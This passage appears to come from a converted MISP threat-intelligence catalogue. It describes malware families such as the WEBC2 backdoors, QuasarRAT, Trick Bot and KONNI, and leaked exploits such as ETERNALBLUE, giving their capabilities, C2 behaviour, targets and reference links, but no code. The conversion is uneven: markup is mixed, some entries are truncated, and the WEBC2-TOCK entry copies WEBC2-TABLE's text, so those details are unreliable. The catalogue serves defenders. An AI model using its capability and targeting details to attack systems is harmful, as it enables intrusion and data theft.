The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system’s SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.

The tag is: `misp-galaxy:tool="WEBC2-HEAD"`

View relationships graph

WEBC2-HEAD has relationships with:

• similar: `misp-galaxy:malpedia="WebC2-Head"` with `estimative-language:likelihood-probability="almost-certain"`

Table 11843. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

WEBC2-KT3

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It
expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.

The tag is: \textit{misp-galaxy:tool="WEBC2-KT3"}

View relationships graph

WEBC2-KT3 has relationships with:


\textbf{WEBC2-QBP}

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.

The tag is: \textit{misp-galaxy:tool="WEBC2-QBP"}

View relationships graph

WEBC2-QBP has relationships with:


\textbf{WEBC2-RAVE}

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will
spawn an encoded reverse shell to an attacker specified location and port.

The tag is: *misp-galaxy:tool="WEBC2-RAVE"

**View relationships graph**

WEBC2-RAVE has relationships with:

- similar: *misp-galaxy:malpedia="WebC2-Rave" with estimative-language:likelihood-probability="almost-certain"

Table 11846. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

**WEBC2-TABLE**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TABLE"

**View relationships graph**

WEBC2-TABLE has relationships with:

- similar: *misp-galaxy:malpedia="WebC2-Table" with estimative-language:likelihood-probability="almost-certain"

Table 11847. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

**WEBC2-TOCK**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TOCK"
WEBC2-UGX

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.

The tag is: misp-galaxy:tool="WEBC2-UGX"

View relationships graph

WEBC2-UGX has relationships with:

• similar: misp-galaxy:malpedia="WebC2-UGX" with estimative-language:likelihood-probability="almost-certain"

WEBC2-Y21K

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.

The tag is: misp-galaxy:tool="WEBC2-Y21K"
WEBC2-YAHOO

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named ‘sb’ or ‘ex’ within a tag named ‘yahoo’. The embedded link can direct the malware to download and execute files.

The tag is: misp-galaxy:tool="WEBC2-YAHOO"

View relationships graph

WEBC2-YAHOO has relationships with:

• similar: misp-galaxy:malpedia="WebC2-Yahoo" with estimative-language:likelihood-probability="almost-certain"

Table 11851. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HAYMAKER

HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string.

The tag is: misp-galaxy:tool="HAYMAKER"

View relationships graph

HAYMAKER has relationships with:

• similar: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"

Table 11852. Table References

Links
BUGJUICE

BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.

The tag is: `misp-galaxy:tool="BUGJUICE"`

View relationships graph

BUGJUICE has relationships with:

- similar: `misp-galaxy:rat="RedLeaves"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:mitre-malware="RedLeaves - S0153"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="RedLeaves"` with `estimative-language:likelihood-probability="likely"

Table 11853. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html">https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html</a></td>
</tr>
</tbody>
</table>

SNUGRIDE

SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The malware's capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. Persistence is maintained through a Run registry key.

The tag is: `misp-galaxy:tool="SNUGRIDE"`

View relationships graph

SNUGRIDE has relationships with:

- similar: `misp-galaxy:mitre-malware="SNUGRIDE - S0159"` with `estimative-language:likelihood-probability="likely"

Table 11854. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html">https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html</a></td>
</tr>
</tbody>
</table>
QUASARRAT

QUASARRAT is an open-source RAT available at [https://github.com/quasar/QuasarRat](https://github.com/quasar/QuasarRat). The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past. QUASARRAT is a publicly available Windows backdoor. It may visit a website, download, upload, and execute files. QUASARRAT may acquire system information, act as a remote desktop or shell, or remotely activate the webcam. The backdoor may also log keystrokes and steal passwords from commonly used browsers and FTP clients. QUASARRAT was originally named xRAT before it was renamed by the developers in August 2015. Availability: Public

The tag is: `misp-galaxy:tool="QUASARRAT"`

View relationships graph

QUASARRAT has relationships with:

- **used-by**: `misp-galaxy:threat-actor="APT43"` with `estimative-language:likelihood-probability="likely"`
- **used-by**: `misp-galaxy:threat-actor="Kimsuky"` with `estimative-language:likelihood-probability="likely"`
- **similar**: `misp-galaxy:rat="Quasar RAT"` with `estimative-language:likelihood-probability="likely"`
- **similar**: `misp-galaxy:malpedia="Quasar RAT"` with `estimative-language:likelihood-probability="likely"`
- **similar**: `misp-galaxy:mitre-tool="QuasarRAT - S0262"` with `estimative-language:likelihood-probability="likely"`

*Table 11855. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html">https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**da Vinci RCS**

Hacking Team’s "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target's location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.
The tag is: *misp-galaxy:tool="da Vinci RCS"

da Vinci RCS is also known as:

- DaVinci
- Morcut

*Table 11856. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://surveillance.rsf.org/en/hacking-team/">http://surveillance.rsf.org/en/hacking-team/</a></td>
</tr>
<tr>
<td><a href="https://wikileaks.org/hackingteam/emails/fileid/581640/267803">https://wikileaks.org/hackingteam/emails/fileid/581640/267803</a></td>
</tr>
<tr>
<td><a href="https://wikileaks.org/hackingteam/emails/emailid/31436">https://wikileaks.org/hackingteam/emails/emailid/31436</a></td>
</tr>
</tbody>
</table>

**LATENTBOT**

LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.

The tag is: *misp-galaxy:tool="LATENTBOT"

*View relationships graph*

LATENTBOT has relationships with:

- similar: *misp-galaxy:malpedia="LatentBot"* with *estimative-language:likelihood-probability="almost-certain"

*Table 11857. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html">https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html</a></td>
</tr>
</tbody>
</table>

**FINSPY**

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: *misp-galaxy:tool="FINSPY"

FINSPY is also known as:

- BlackOasis

*View relationships graph*
FINSPY has relationships with:

- similar: misp-galaxy:rat="FINSPY" with estimative-language:likelihood-probability="likely"

**Table 11858. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**RCS Galileo**

HackingTeam Remote Control System (RCS) Galileo hacking platform

The tag is: misp-galaxy:tool="RCS Galileo"

**Table 11859. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.f-secure.com/documents/996508/1030745/callisto-group">https://www.f-secure.com/documents/996508/1030745/callisto-group</a></td>
</tr>
</tbody>
</table>

**EARLYSHOVEL**

RedHat 7.0 - 7.1 Sendmail 8.11.x exploit

The tag is: misp-galaxy:tool="EARLYSHOVEL"

**Table 11860. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**EBBISLAND (EBBSHAVE)**

root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86

The tag is: misp-galaxy:tool="EBBISLAND (EBBSHAVE)"

**Table 11861. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**ECHOWRECKER**

remote Samba 3.0.x Linux exploit

The tag is: misp-galaxy:tool="ECHOWRECKER"

**Table 11862. Table References**
**EASYBEE**

appears to be an MDaemon email server vulnerability

The tag is: `misp-galaxy:tool="EASYBEE"`

---

**EASYPI**

an IBM Lotus Notes exploit that gets detected as Stuxnet

The tag is: `misp-galaxy:tool="EASYPI"`

---

**EWOKFRENZY**

an exploit for IBM Lotus Domino 6.5.4 & 7.0.2

The tag is: `misp-galaxy:tool="EWOKFRENZY"`

---

**EXPLODINGCAN**

an IIS 6.0 exploit that creates a remote backdoor

The tag is: `misp-galaxy:tool="EXPLODINGCAN"`
ETERNALROMANCE

a SMB1 exploit over TCP port 445 which targets XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges (MS17-010)

The tag is: misp-galaxy:tool="ETERNALROMANCE"

Table 11867. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

EDUCATEDSCHOLAR

a SMB exploit (MS09-050)

The tag is: misp-galaxy:tool="EDUCATEDSCHOLAR"

Table 11868. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

EMERALDTHREAD

a SMB exploit for Windows XP and Server 2003 (MS10-061)

The tag is: misp-galaxy:tool="EMERALDTHREAD"

Table 11869. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

EMPHASISMINE

a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2

The tag is: misp-galaxy:tool="EMPHASISMINE"

Table 11870. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

ENGLISHMANSDENTIST

Outlook Exchange WebAccess rules to trigger executable code on the client’s side to send an email
to other users

The tag is: `misp-galaxy:tool="ENGLISHMANSDENTIST"`

**Table 11871. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**EPICHERO**

0-day exploit (RCE) for Avaya Call Server

The tag is: `misp-galaxy:tool="EPICHERO"`

**Table 11872. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**ERRATICGOPHER**

SMBv1 exploit targeting Windows XP and Server 2003

The tag is: `misp-galaxy:tool="ERRATICGOPHER"`

**Table 11873. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**ETERNALSYNERGY**

a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010)

The tag is: `misp-galaxy:tool="ETERNALSYNERGY"`

**Table 11874. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**ETERNALBLUE**

SMBv2 exploit for Windows 7 SP1 (MS17-010)

The tag is: `misp-galaxy:tool="ETERNALBLUE"`

**Table 11875. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>
ETERNALCHAMPION

a SMBv1 exploit

The tag is: misty-galaxy:tool="ETERNALCHAMPION"

ESKIMOROLL

Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers

The tag is: misty-galaxy:tool="ESKIMOROLL"

ESTEEMAUDIT

RDP exploit and backdoor for Windows Server 2003

The tag is: misty-galaxy:tool="ESTEEMAUDIT"

ECLIPSEDWING

RCE exploit for the Server service in Windows Server 2008 and later (MS08-067)

The tag is: misty-galaxy:tool="ECLIPSEDWING"
**ETRE**

exploit for IMail 8.10 to 8.22

The tag is: `misp-galaxy:tool="ETRE"`

*Table 11880. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**FUZZBUNCH**

an exploit framework, similar to MetaSploit

The tag is: `misp-galaxy:tool="FUZZBUNCH"`

*Table 11881. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/darkpulsar/88199/">https://securelist.com/darkpulsar/88199/</a></td>
</tr>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**ODDJOB**

implant builder and C&C server that can deliver exploits for Windows 2000 and later, also not detected by any AV vendors

The tag is: `misp-galaxy:tool="ODDJOB"`

View relationships graph

ODDJOB has relationships with:

- similar: `misp-galaxy:malpedia="OddJob"` with `estimative-language:likelihood-probability="almost-certain"`

*Table 11882. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**PASSFREELY**

utility which Bypasses authentication for Oracle servers

The tag is: `misp-galaxy:tool="PASSFREELY"`

*Table 11883. Table References*
**SMBTOUCH**

check if the target is vulnerable to samba exploits like ETERNALSYNERGY, ETERNALBLUE, ETERNALROMANCE

The tag is: `misp-galaxy:tool="SMBTOUCH"`

Table 11884. Table References

**ERRATICGOPHERTOUCH**

Check if the target is running some RPC

The tag is: `misp-galaxy:tool="ERRATICGOPHERTOUCH"`

Table 11885. Table References

**IISTOUCH**

check if the running IIS version is vulnerable

The tag is: `misp-galaxy:tool="IISTOUCH"`

Table 11886. Table References

**RPCOUTCH**

get info about windows via RPC

The tag is: `misp-galaxy:tool="RPCOUTCH"`

Table 11887. Table References
**DOPU**

used to connect to machines exploited by ETERNALCHAMPIONS

The tag is: `misp-galaxy:tool="DOPU"`

---

**FlexSpy**

covert surveillance tools

The tag is: `misp-galaxy:tool="FlexSpy"`

---

**feodo**

Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye's MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.

The tag is: `misp-galaxy:tool="feodo"`

**View relationships graph**

feodo has relationships with:

- similar: `misp-galaxy:malpedia="Feodo"` with `estimative-language:likelihood-probability="almost-certain"`

---

**Cardinal RAT**

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.
The tag is: misp-galaxy:tool="Cardinal RAT"

View relationships graph

Cardinal RAT has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cardinal RAT" with estimative-language:likelihood-probability="almost-certain"

Table 11890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/">http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/</a></td>
</tr>
</tbody>
</table>

REDLEAVES

The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.

The tag is: misp-galaxy:tool="REDLEAVES"

View relationships graph

REDLEAVES has relationships with:

- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="almost-certain"

Table 11891. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-117A">https://www.us-cert.gov/ncas/alerts/TA17-117A</a></td>
</tr>
</tbody>
</table>

Kazuar

Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan's capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroboiros and Snake), who have been reported to have compromised embassies, defense
contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.

The tag is: misp-galaxy:tool="Kazuar"

View relationships graph

Kazuar has relationships with:

• similar: misp-galaxy:malpedia="Kazuar" with estimative-language:likelihood-probability="likely"

Table 11892. Table References

Links

http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Trick Bot

Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).

The tag is: misp-galaxy:tool="Trick Bot"

Trick Bot is also known as:

• TrickBot
• TrickLoader

View relationships graph

Trick Bot has relationships with:

• similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:banker="Trickbot" with estimative-language:likelihood-probability="likely"

Table 11893. Table References

Links

https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.fraudwatchinternational.com/malware/trickbot-malware-works
Hackshit

Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with “.moe” top level domain (TLD) to evade traditional scanners. “.moe” TLD is intended for the purpose of ‘The marketing of products or services deemed’. The victim’s credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.

The tag is: misp-galaxy:tool="Hackshit"

Moneygram Adwind

The tag is: misp-galaxy:tool="Moneygram Adwind"

Banload

Banload has been around since the last decade. This malware generally arrives on a victim’s system through a spam email containing an archived file or bundled software as an attachment. In a few cases, this malware may also be dropped by other malware or a drive-by download. When executed, Banload downloads other malware, often banking Trojans, on the victim’s system to carry out further infections.

The tag is: misp-galaxy:tool="Banload"

View relationships graph

Banload has relationships with:

- similar: misp-galaxy:malpedia="Banload" with estimative-language:likelihood-
Smoke Loader

This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self protection.

The tag is: \textit{misp-galaxy:tool=\textquote{Smoke Loader}}

Smoke Loader is also known as:

\begin{itemize}
  \item SmokeLoader
\end{itemize}

View relationships graph

Smoke Loader has relationships with:

\begin{itemize}
  \item similar: \textit{misp-galaxy:mitre-malware=\textquote{Smoke Loader - S0226}} with estimative-language:likelihood-probability=\textquote{likely}
  \item similar: \textit{misp-galaxy:malpedia=\textquote{SmokeLoader}} with estimative-language:likelihood-probability=\textquote{likely}
\end{itemize}

LockPoS

The analyzed sample has a recent compilation date (2017-06-24) and is available on VirusTotal. It starts out by resolving several Windows functions using API hashing (CRC32 is used as the hashing function).

The tag is: \textit{misp-galaxy:tool=\textquote{LockPoS}}

View relationships graph
LockPoS has relationships with:

- similar: misp-galaxy:malpedia="LockPOS" with estimative-language:likelihood-probability="almost-certain"

Table 11898. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
| https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/

**Fadok**

Win.Worm.Fadok drops several files. %AppData%\RAC\mls.exe or %AppData%\RAC\svcsc.exe are instances of the malware which are auto-started when Windows starts. Further, the worm drops and opens a Word document. It connects to the domain wxanalytics[.]ru.

The tag is: misp-galaxy:tool="Fadok"

Fadok is also known as:

- Win32/Fadok

Table 11899. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/06/threat-roundup-0602-0609.html">http://blog.talosintelligence.com/2017/06/threat-roundup-0602-0609.html</a></td>
</tr>
</tbody>
</table>

**Loki Bot**

Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.

The tag is: misp-galaxy:tool="Loki Bot"

Table 11900. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://phishme.com/loki-bot-malware/">https://phishme.com/loki-bot-malware/</a></td>
</tr>
</tbody>
</table>

**KONNI**

Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots,
and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim’s machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:

The tag is: misp-galaxy:tool="KONNI"

View relationships graph

KONNI has relationships with:

- similar: misp-galaxy:rat="Konni" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"

Table 11901. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html">http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html</a></td>
</tr>
</tbody>
</table>

NOKKI

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The tag is: misp-galaxy:tool="NOKKI"

View relationships graph

NOKKI has relationships with:

